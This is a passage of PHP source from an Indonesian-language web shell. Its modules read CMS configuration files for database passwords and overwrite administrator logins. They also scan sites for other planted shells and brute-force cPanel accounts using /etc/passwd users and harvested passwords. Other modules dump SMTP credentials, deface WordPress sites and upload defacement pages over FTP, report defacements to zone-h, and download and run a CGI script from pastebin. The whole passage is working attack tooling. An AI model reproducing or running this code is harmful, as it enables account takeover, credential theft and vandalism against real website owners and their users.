  2678.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  2679.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  2680.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  2681.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  2682.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  2683.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  2684.                     $prefix = $dbprefix."admin_user";
  2685.                     $option = $dbprefix."core_config_data";
  2686.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2687.                     $db = mysql_select_db($dbname);
  2688.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2689.                     $result = mysql_fetch_array($q);
  2690.                     $id = $result[user_id];
  2691.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  2692.                     $result2 = mysql_fetch_array($q2);
  2693.                     $target = $result2[value];
  2694.                     if($target == '') {
  2695.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2696.                     } else {
  2697.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  2698.                     }
  2699.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2700.                     echo "Config => ".$file_conf."<br>";
  2701.                     echo "CMS => Magento<br>";
  2702.                     echo $url_target;
  2703.                     if(!$update OR !$conn OR !$db) {
  2704.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2705.                     } else {
  2706.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2707.                     }
  2708.                     mysql_close($conn);
  2709.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  2710.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  2711.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  2712.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  2713.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  2714.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  2715.                     $prefix = $dbprefix."user";
  2716.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2717.                     $db = mysql_select_db($dbname);
  2718.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2719.                     $result = mysql_fetch_array($q);
  2720.                     $id = $result[user_id];
  2721.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  2722.                     if($target == '') {
  2723.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2724.                     } else {
  2725.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  2726.                     }
  2727.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2728.                     echo "Config => ".$file_conf."<br>";
  2729.                     echo "CMS => OpenCart<br>";
  2730.                     echo $url_target;
  2731.                     if(!$update OR !$conn OR !$db) {
  2732.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2733.                     } else {
  2734.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2735.                     }
  2736.                     mysql_close($conn);
  2737.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  2738.                     $dbhost = ambilkata($config,'server = "','"');
  2739.                     $dbuser = ambilkata($config,'username = "','"');
  2740.                     $dbpass = ambilkata($config,'password = "','"');
  2741.                     $dbname = ambilkata($config,'database = "','"');
  2742.                     $prefix = "users";
  2743.                     $option = "identitas";
  2744.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2745.                     $db = mysql_select_db($dbname);
  2746.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  2747.                     $result = mysql_fetch_array($q);
  2748.                     $target = $result[alamat_website];
  2749.                     if($target == '') {
  2750.                         $target2 = $result[url];
  2751.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2752.                         if($target2 == '') {
  2753.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2754.                         } else {
  2755.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  2756.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  2757.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  2758.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  2759.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  2760.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  2761.                             } else {
  2762.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2763.                             }
  2764.                         }
  2765.                     } else {
  2766.                         $cek_login = file_get_contents("$target/adminweb/");
  2767.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  2768.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  2769.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  2770.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  2771.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  2772.                         } else {
  2773.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2774.                         }
  2775.                     }
  2776.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  2777.                     echo "Config => ".$file_conf."<br>";
  2778.                     echo "CMS => Lokomedia<br>";
  2779.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  2780.                         echo $url_target2;
  2781.                     } else {
  2782.                         echo $url_target;
  2783.                     }
  2784.                     if(!$update OR !$conn OR !$db) {
  2785.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2786.                     } else {
  2787.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2788.                     }
  2789.                     mysql_close($conn);
  2790.                 }
  2791.             }
  2792.         }
  2793.     } else {
  2794.         echo "<center>
  2795.         <h1>Auto Edit User Config</h1>
  2796.         <form method='post'>
  2797.         DIR Config: <br>
  2798.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2799.         Set User & Pass: <br>
  2800.         <input type='text' name='user_baru' value='0x1999' placeholder='user_baru'><br>
  2801.         <input type='text' name='pass_baru' value='0x1999' placeholder='pass_baru'><br>
  2802.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  2803.         </form>
  2804.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  2805.         ";
  2806.     }
  2807. }elseif($_GET['do'] == 'shelscan') {
  2808.     echo'<center><h2>Shell Finder</h2>
  2809. <form action="" method="post">
  2810. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  2811. <br>
  2812. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  2813. </form><br>';
  2814. if (isset($_POST["scan"])) {  
  2815. $url = $_POST['traget'];
  2816. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  2817. echo "Result :<br />";
  2818. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  2819. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  2820. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  2821. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  2822. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  2823. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  2824. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  2825. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  2826. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  2827. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  2828. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  2829. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  2830. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  2831. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  2832. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  2833. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  2834. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  2835. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  2836. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  2837. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  2838. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  2839. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  2840. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  2841. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  2842. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  2843. foreach ($shells as $shell){
  2844. $headers = get_headers("$url$shell"); //
  2845. if (eregi('200', $headers[0])) {
  2846. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  2847. $dz = fopen('shells.txt', 'a+');
  2848. $suck = "$url$shell";
  2849. fwrite($dz, $suck."\n");
  2850. }
  2851. }
  2852. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  2853. }
  2854.    
  2855. }
  2856.  elseif($_GET['do'] == 'cpanel') {
  2857.     if($_POST['crack']) {
  2858.         $usercp = explode("\r\n", $_POST['user_cp']);
  2859.         $passcp = explode("\r\n", $_POST['pass_cp']);
  2860.         $i = 0;
  2861.         foreach($usercp as $ucp) {
  2862.             foreach($passcp as $pcp) {
  2863.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  2864.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2865.                     } else {
  2866.                         $_SESSION[$ucp] = "1";
  2867.                         $_SESSION[$pcp] = "1";
  2868.                         $i++;
  2869.                         echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2870.                     }
  2871.                 }
  2872.             }
  2873.         }
  2874.         if($i == 0) {
  2875.         } else {
  2876.             echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  2877.         }
  2878.     } else {
  2879.         echo "<center>
  2880.         <form method='post'>
  2881.         USER: <br>
  2882.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2883.         $_usercp = fopen("/etc/passwd","r");
  2884.         while($getu = fgets($_usercp)) {
  2885.             if($getu == '' || !$_usercp) {
  2886.                 echo "<font color=red>Can't read /etc/passwd</font>";
  2887.             } else {
  2888.                 preg_match_all("/(.*?):x:/", $getu, $u);
  2889.                 foreach($u[1] as $user_cp) {
  2890.                         if(is_dir("/home/$user_cp/public_html")) {
  2891.                             echo "$user_cp\n";
  2892.                     }
  2893.                 }
  2894.             }
  2895.         }
  2896.         echo "</textarea><br>
  2897.         PASS: <br>
  2898.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2899.         function cp_pass($dir) {
  2900.             $pass = "";
  2901.             $dira = scandir($dir);
  2902.             foreach($dira as $dirb) {
  2903.                 if(!is_file("$dir/$dirb")) continue;
  2904.                 $ambil = file_get_contents("$dir/$dirb");
  2905.                 if(preg_match("/WordPress/", $ambil)) {
  2906.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  2907.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2908.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  2909.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2910.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  2911.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  2912.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  2913.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2914.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  2915.                 } elseif(preg_match("/client/", $ambil)) {
  2916.                     preg_match("/password=(.*)/", $ambil, $pass1);
  2917.                     if(preg_match('/"/', $pass1[1])) {
  2918.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  2919.                         $pass .= $pass1[1]."\n";
  2920.                     }
  2921.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2922.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  2923.                 }
  2924.             }
  2925.             echo $pass;
  2926.         }
  2927.         $cp_pass = cp_pass($dir);
  2928.         echo $cp_pass;
  2929.         echo "</textarea><br>
  2930.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  2931.         </form>
  2932.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  2933.     }
  2934. } elseif($_GET['do'] == 'smtp') {
  2935.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  2936.     function scj($dir) {
  2937.         $dira = scandir($dir);
  2938.         foreach($dira as $dirb) {
  2939.             if(!is_file("$dir/$dirb")) continue;
  2940.             $ambil = file_get_contents("$dir/$dirb");
  2941.             $ambil = str_replace("$", "", $ambil);
  2942.             if(preg_match("/JConfig|joomla/", $ambil)) {
  2943.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  2944.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  2945.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  2946.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  2947.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  2948.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  2949.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  2950.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  2951.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  2952.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  2953.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  2954.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  2955.             }
  2956.         }
  2957.     }
  2958.     $smpt_hunter = scj($dir);
  2959.     echo $smpt_hunter;
  2960. } elseif($_GET['do'] == 'auto_wp') {
  2961.     if($_POST['hajar']) {
  2962.         $title = htmlspecialchars($_POST['new_title']);
  2963.         $pn_title = str_replace(" ", "-", $title);
  2964.         if($_POST['cek_edit'] == "Y") {
  2965.             $script = $_POST['edit_content'];
  2966.         } else {
  2967.             $script = $title;
  2968.         }
  2969.         $conf = $_POST['config_dir'];
  2970.         $scan_conf = scandir($conf);
  2971.         foreach($scan_conf as $file_conf) {
  2972.             if(!is_file("$conf/$file_conf")) continue;
  2973.             $config = file_get_contents("$conf/$file_conf");
  2974.             if(preg_match("/WordPress/", $config)) {
  2975.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2976.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2977.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2978.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2979.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2980.                 $prefix = $dbprefix."posts";
  2981.                 $option = $dbprefix."options";
  2982.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2983.                 $db = mysql_select_db($dbname);
  2984.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  2985.                 $result = mysql_fetch_array($q);
  2986.                 $id = $result[ID];
  2987.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2988.                 $result2 = mysql_fetch_array($q2);
  2989.                 $target = $result2[option_value];
  2990.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  2991.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  2992.                 echo "<div style='margin: 5px auto;'>";
  2993.                 if($target == '') {
  2994.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  2995.                 } else {
  2996.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  2997.                 }
  2998.                 if(!$update OR !$conn OR !$db) {
  2999.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  3000.                 } else {
  3001.                     echo "<font color=lime>sukses di ganti.</font><br>";
  3002.                 }
  3003.                 echo "</div>";
  3004.                 mysql_close($conn);
  3005.             }
  3006.         }
  3007.     } else {
  3008.         echo "<center>
  3009.         <h1>Auto Edit Title+Content WordPress</h1>
  3010.         <form method='post'>
  3011.         DIR Config: <br>
  3012.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  3013.         Set Title: <br>
  3014.         <input type='text' name='new_title' value='Hacked By 0x1999' placeholder='New Title'><br><br>
  3015.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  3016.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  3017.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  3018.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  3019.         </form>
  3020.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  3021.         ";
  3022.     }
  3023. } elseif($_GET['do'] == 'zoneh') {
  3024.     if($_POST['submit']) {
  3025.         $domain = explode("\r\n", $_POST['url']);
  3026.         $nick =  $_POST['nick'];
  3027.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  3028.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  3029.         function zoneh($url,$nick) {
  3030.             $ch = curl_init("http://www.zone-h.com/notify/single");
  3031.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3032.                   curl_setopt($ch, CURLOPT_POST, true);
  3033.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  3034.             return curl_exec($ch);
  3035.                   curl_close($ch);
  3036.         }
  3037.         foreach($domain as $url) {
  3038.             $zoneh = zoneh($url,$nick);
  3039.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  3040.                 echo "$url -> <font color=lime>OK</font><br>";
  3041.             } else {
  3042.                 echo "$url -> <font color=red>ERROR</font><br>";
  3043.             }
  3044.         }
  3045.     } else {
  3046.         echo "<center><form method='post'>
  3047.         <u>Defacer</u>: <br>
  3048.         <input type='text' name='nick' size='50' value='0x1999'><br>
  3049.         <u>Domains</u>: <br>
  3050.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  3051.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  3052.         </form>";
  3053.     }
  3054.     echo "</center>";
  3055. }elseif($_GET['do'] == 'cpftp_auto') {
  3056.     if($_POST['crack']) {
  3057.         $usercp = explode("\r\n", $_POST['user_cp']);
  3058.         $passcp = explode("\r\n", $_POST['pass_cp']);
  3059.         $i = 0;
  3060.         foreach($usercp as $ucp) {
  3061.             foreach($passcp as $pcp) {
  3062.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  3063.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  3064.                     } else {
  3065.                         $_SESSION[$ucp] = "1";
  3066.                         $_SESSION[$pcp] = "1";
  3067.                         if($ucp == '' || $pcp == '') {
  3068.                             //
  3069.                         } else {
  3070.                             echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  3071.                             $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  3072.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  3073.                             if((!$ftp_login) || (!$ftp_conn)) {
  3074.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  3075.                             } else {
  3076.                                 echo "[+] <font color=lime>Login Sukses</font><br>";
  3077.                                 $fi = htmlspecialchars($_POST['file_deface']);
  3078.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  3079.                                 if($deface) {
  3080.                                     $i++;
  3081.                                     echo "[+] <font color=lime>Deface Sukses</font><br>";
  3082.                                     if(function_exists('posix_getpwuid')) {
  3083.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  3084.                                         if($domain_cp == '') {
  3085.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  3086.                                         } else {
  3087.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  3088.                                             foreach($domains_cp[1] as $dj) {
  3089.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  3090.                                                 $user_cp_url = $user_cp_url['name'];
  3091.                                                 if($user_cp_url == $ucp) {
  3092.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  3093.                                                     break;
  3094.                                                 }
  3095.                                             }
  3096.                                         }
  3097.                                     } else {
  3098.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  3099.                                     }
  3100.                                 } else {
  3101.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  3102.                                 }
  3103.                             }
  3104.                             //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  3105.                         }
  3106.                     }
  3107.                 }
  3108.             }
  3109.         }
  3110.         if($i == 0) {
  3111.         } else {
  3112.             echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>JanCox.</font>";
  3113.         }
  3114.     } else {
  3115.         echo "<center>
  3116.         <form method='post'>
  3117.         Filename: <br>
  3118.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  3119.         Deface Page: <br>
  3120.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-do-deface.com/filemu.php' style='width: 450px;'><br>
  3121.         USER: <br>
  3122.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  3123.         $_usercp = fopen("/etc/passwd","r");
  3124.         while($getu = fgets($_usercp)) {
  3125.             if($getu == '' || !$_usercp) {
  3126.                 echo "<font color=red>Can't read /etc/passwd</font>";
  3127.             } else {
  3128.                 preg_match_all("/(.*?):x:/", $getu, $u);
  3129.                 foreach($u[1] as $user_cp) {
  3130.                         if(is_dir("/home/$user_cp/public_html")) {
  3131.                             echo "$user_cp\n";
  3132.                     }
  3133.                 }
  3134.             }
  3135.         }
  3136.         echo "</textarea><br>
  3137.         PASS: <br>
  3138.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  3139.         function cp_pass($dir) {
  3140.             $pass = "";
  3141.             $dira = scandir($dir);
  3142.             foreach($dira as $dirb) {
  3143.                 if(!is_file("$dir/$dirb")) continue;
  3144.                 $ambil = file_get_contents("$dir/$dirb");
  3145.                 if(preg_match("/WordPress/", $ambil)) {
  3146.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  3147.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  3148.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  3149.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  3150.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  3151.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  3152.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  3153.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  3154.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  3155.                 } elseif(preg_match("/client/", $ambil)) {
  3156.                     preg_match("/password=(.*)/", $ambil, $pass1);
  3157.                     if(preg_match('/"/', $pass1[1])) {
  3158.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  3159.                         $pass .= $pass1[1]."\n";
  3160.                     }
  3161.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  3162.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  3163.                 }
  3164.             }
  3165.             echo $pass;
  3166.         }
  3167.         $cp_pass = cp_pass($dir);
  3168.         echo $cp_pass;
  3169.         echo "</textarea><br>
  3170.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  3171.         </form>
  3172.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  3173.     }
  3174. }
  3175.  elseif($_GET['do'] == 'cgi') {
  3176.     $cgi_dir = mkdir('idx_cgi', 0755);
  3177.     $file_cgi = "idx_cgi/cgi.izo";
  3178.     $isi_htcgi = "AddHandler cgi-script .izo";
  3179.     $htcgi = fopen(".htaccess", "w");
  3180.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  3181.     $cgi = fopen($file_cgi, "w");
  3182.     fwrite($cgi, $cgi_script);
  3183.     fwrite($htcgi, $isi_htcgi);
  3184.     chmod($file_cgi, 0755);
  3185.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  3186. } elseif($_GET['do'] == 'fake_root') {
  3187.     ob_start();
  3188.     function reverse($url) {
  3189.         $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  3190.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3191.               curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  3192.               curl_setopt($ch, CURLOPT_HEADER, 0);
  3193.               curl_setopt($ch, CURLOPT_POST, 1);
  3194.         $resp = curl_exec($ch);
  3195.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  3196.         $array = explode(",,", $resp);
  3197.         unset($array[0]);
  3198.         foreach($array as $lnk) {
  3199.             $lnk = "http://$lnk";
  3200.             $lnk = str_replace(",", "", $lnk);
  3201.             echo $lnk."\n";
  3202.             ob_flush();
  3203.             flush();
  3204.         }
  3205.               curl_close($ch);
  3206.     }
  3207.     function cek($url) {
  3208.         $ch = curl_init($url);
  3209.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3210.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  3211.         $resp = curl_exec($ch);
  3212.         return $resp;
  3213.     }
  3214.     $cwd = getcwd();
  3215.     $ambil_user = explode("/", $cwd);
  3216.     $user = $ambil_user[2];
  3217.     if($_POST['reverse']) {
